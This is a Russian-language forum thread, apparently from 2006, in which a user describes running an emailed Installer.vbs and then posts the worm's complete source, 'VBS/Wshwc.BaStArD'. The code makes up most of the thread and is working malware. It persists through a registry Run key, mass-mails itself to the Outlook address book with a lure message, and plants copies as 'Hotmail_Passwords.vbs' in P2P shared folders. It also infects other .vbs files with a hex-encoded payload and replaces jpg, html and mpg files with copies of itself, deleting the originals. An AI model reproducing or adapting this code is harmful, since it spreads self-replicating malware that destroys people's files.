Осторожно, вирус

[NDI]

25.07.2006 Microsoft ывпустила бета-версиию Exchange Server 2007.

А какое это имеет отношение к вирусам и всему, что с этим связано?

[SK]

Мне вчера какая-то сволочуга "qwerty qwerty"
прислал(а) хрень такую Installer.vbs
ну я антивирусом проверил ниче все в норме
короче запустил его у меня Word открылсы в колличестве около 2000 экземпляров
и ошибки всякие
ну я с этим справился
все вроде в норме
перезагрузил комп все в норме
а потом заметил все картинки,фото в формате .JPG
он переименовал в свой .vbs
я пробовал переименовать в .JPG
просмотр недоступен
и с поиском стал виснуть

[NDI]

...короче запустил его...

А оно тебе надо было?....

[57EA17h]

Мдя.... ну не понимаю я, неужели так трудно выполнять одно простое правило "Низапускай ничего из присланного, особенно если ты это не просил"

[SK]

Да запустил как то по инерции
А что это вообще такое

[RED_SPY]

Впринципи эти файлы можно в блокноте посмотреть и наглядно увидеть чем он усложнит твою жизнь:).....

Мне один раз пришло письмо примерно такого содержания:

Здравствуйте вы выбраны модератором форума на сайте vyksa.info для того что бы приступить к модерации ознакомтесь с правилами форума ..... Правила форума Vyksa.info.vbs ......

Открыл я его в блокноте а там............. Куча всяких подлостей а в конце строчка ...

'Вижу нае.....ать Вас не удалось....чтож:(....будем пробывать на других...


вот такие веселые люди.....

[SK]

' VBS/Wshwc.BaStArD by GaRRfield, 02.08.2006
On Error Resume Next
Set OQFPWQWZVNZNZCHP7 = CreateObject("Scripting.FileSystemObject")
Set AWRSYEZKFMQUGEUH8 = CreateObject("WScript.Shell")
Set FRZNLZRCANFAPXBW9 = OQFPWQWZVNZNZCHP7.GetFile(WScript.ScriptFullName)
FRZNLZRCANFAPXBW9.Copy (OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & "\Attachment.vbs")
Set ShowWorm = OQFPWQWZVNZNZCHP7.GetFile(OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & "\Attachment.vbs")
ShowWorm.Attributes = 0
FRZNLZRCANFAPXBW9.Copy (OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & "\ChkMgr32.vbs")
Set HideWorm = OQFPWQWZVNZNZCHP7.GetFile(OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & "\ChkMgr32.vbs")
HideWorm.Attributes = 2
AWRSYEZKFMQUGEUH8.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\FileManager32", "Wscript.exe " & OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & "\ChkMgr32.vbs %1"
Set PMXWDPLSGOEZESZV1 = CreateObject("Outlook.Application")
If Not PMXWDPLSGOEZESZV1 = "" Then
For Each BSJZFDODQNWHKUMN2 In PMXWDPLSGOEZESZV1.GetNameSpace("MAPI").AddressLists
For GORUSYGVLOLMUNTC3 = 1 To BSJZFDODQNWHKUMN2.AddressEntries.Count
XPLRHHBXQNSAKHNJ5 = Chr(87) & Chr(83) & Chr(72) & Chr(87) & Chr(67)
JVXUJVEIAMJHQJAA6 = AWRSYEZKFMQUGEUH8.RegRead("HKEY_CURRENT_USER\Software\" & XPLRHHBXQNSAKHNJ5 & "\BaStArD\" & BSJZFDODQNWHKUMN2.AddressEntries(GORUSYGVLOLMUNTC3))
If JVXUJVEIAMJHQJAA6 <> XPLRHHBXQNSAKHNJ5 Then
Set STDXUMJFVNDUAOGT4 = PMXWDPLSGOEZESZV1.CreateItem(0)
STDXUMJFVNDUAOGT4.Recipients.Add (BSJZFDODQNWHKUMN2.AddressEntries(GORUSYGVLOLMUNTC3))
STDXUMJFVNDUAOGT4.Subject = "прикольная прога"
STDXUMJFVNDUAOGT4.Body = "запусти и увидиш прикол"
STDXUMJFVNDUAOGT4.Attachments.Add (OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & "\Attachment.vbs")
STDXUMJFVNDUAOGT4.DeleteAfterSubmit = True
STDXUMJFVNDUAOGT4.Importance = 2
STDXUMJFVNDUAOGT4.Send
AWRSYEZKFMQUGEUH8.RegWrite "HKEY_CURRENT_USER\Software\" & XPLRHHBXQNSAKHNJ5 & "\BaStArD\" & BSJZFDODQNWHKUMN2.AddressEntries(GORUSYGVLOLMUNTC3), XPLRHHBXQNSAKHNJ5
End If
Next
Next
End If
KNHIYUITVOVGZQJL10 = AWRSYEZKFMQUGEUH8.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
For SwitchFolders = 0 To 9
FolderArray = Array("C:\Kazaa\My Shared Folder", _
KNHIYUITVOVGZQJL10 & "\KaZaA Lite\My Shared Folder", _
"C:\My Downloads", _
KNHIYUITVOVGZQJL10 & "\Kazaa\My Shared Folder", _
KNHIYUITVOVGZQJL10 & "\KaZaA Lite\My Shared Folder", _
KNHIYUITVOVGZQJL10 & "\Bearshare\Shared", _
KNHIYUITVOVGZQJL10 & "\Edonkey2000", _
KNHIYUITVOVGZQJL10 & "\Morpheus\My Shared Folder", _
KNHIYUITVOVGZQJL10 & "\Grokster\My Grokster", _
KNHIYUITVOVGZQJL10 & "\ICQ\Shared Files")
If OQFPWQWZVNZNZCHP7.FolderExists(FolderArray(SwitchFolders)) Then
FRZNLZRCANFAPXBW9.Copy (FolderArray(SwitchFolders) & "\Hotmail_Passwords.vbs")
Set ShowP2PFile = OQFPWQWZVNZNZCHP7.GetFile(FolderArray(SwitchFolders) & "\Hotmail_Passwords.vbs")
ShowP2PFile.Attributes = 0
End If
Next
If Day(Now) = 0 And Month(Now) = 0 Then
Do
AWRSYEZKFMQUGEUH8.Run "Winword.exe", 3, False
Loop
End If
E1()
Sub E1()
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
For Each SeekNetCopyDrives In a.Drives
If SeekNetCopyDrives.DriveType = 2 _
Or SeekNetCopyDrives.DriveType = 3 Then
E3 (SeekNetCopyDrives.Path & "\")
End If
Next
End Sub
Sub E2(FileTarget)
On Error Resume Next
Set otf = a.GetFile(WScript.ScriptFullName)
ra = otf.ReadAll
otf.Close
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.Files
FileExt = LCase(a.GetExtensionName(n.Path))
If FileExt = "vbs" Or FileExt = "vbe" Then
Set openvbs = a.OpenTextFile(n.Path, 1)
vbsra = openvbs.ReadAll
openvbs.Close
If InStr(1, vbsra, "BaStArD") = False Then
Set OQFPWQWZVNZNZCHP7 = CreateObject("Scripting.FileSystemObject")
Set JC = OQFPWQWZVNZNZCHP7.OpenTextFile(WScript.ScriptFullName, 1)
WormFileReadAllText = JC.ReadAll
JC.Close
Set WriteWormCode = OQFPWQWZVNZNZCHP7.OpenTextFile(n.Path, 8, True)
WriteWormCode.WriteLine vbCrLf & "' BaStArD" & vbCrLf & "Tz = " & Chr(34) & Chr(34)
For i = 1 To Len(WormFileReadAllText)
Tz = Mid(WormFileReadAllText, i, 1)
Tz = Hex(Asc(Tz))
If Len(Tz) = 1 Then
Tz = "0" & Tz
End If
Gz = Gz + Tz
If Len(Gz) = 110 Then
WriteWormCode.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
If Len(WormFileReadAllText) - i = 0 Then
WriteWormCode.WriteLine "Tz = Tz + """ + Gz + Chr(34)
Gz = ""
End If
Next
WriteWormCode.WriteLine "Set OQFPWQWZVNZNZCHP7 = CreateObject(""Scripting.FileSystemObject"")"
WriteWormCode.WriteLine "Set AWRSYEZKFMQUGEUH8 = CreateObject(""WScript.Shell"")"
WriteWormCode.WriteLine "Set WriteAppend = OQFPWQWZVNZNZCHP7.CreateTextFile(OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & ""\ChkMgr32.vbs"", True)"
WriteWormCode.WriteLine "WriteAppend.Write CM(Tz)"
WriteWormCode.WriteLine "WriteAppend.Close"
WriteWormCode.WriteLine "AWRSYEZKFMQUGEUH8.RegWrite ""HKLM\Software\Microsoft\Windows\CurrentVersion\Run\FileManager32"", ""Wscript.exe "" & OQFPWQWZVNZNZCHP7.GetSpecialFolder(0) & ""\ChkMgr32.vbs %1"""
WriteWormCode.WriteLine "Function CM(CN)"
WriteWormCode.WriteLine "For GC = 1 To Len(CN) Step 2"
WriteWormCode.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
WriteWormCode.WriteLine "Next"
WriteWormCode.WriteLine "End Function"
WriteWormCode.Close
End If
End If
If FileExt = "jpg" Or FileExt = "html" Or FileExt = "mpg" Then
OQFPWQWZVNZNZCHP7.CopyFile WScript.ScriptFullName, n.Path & ".vbs"
OQFPWQWZVNZNZCHP7.DeleteFile (n.Path)
End If
Next
End Sub
Sub E3(FileTarget)
On Error Resume Next
Set a = CreateObject("Scripting.FileSystemObject")
Set f = a.GetFolder(FileTarget)
For Each n In f.SubFolders
E2 (n.Path)
E3 (n.Path)
Next
End Sub
' Wshwc 1.0 by Zed/[rRlf]


Вот что у нас есть
Все описывать не буду думаю вы все поймете
Этим гауном он заменятет всю инфу в картинках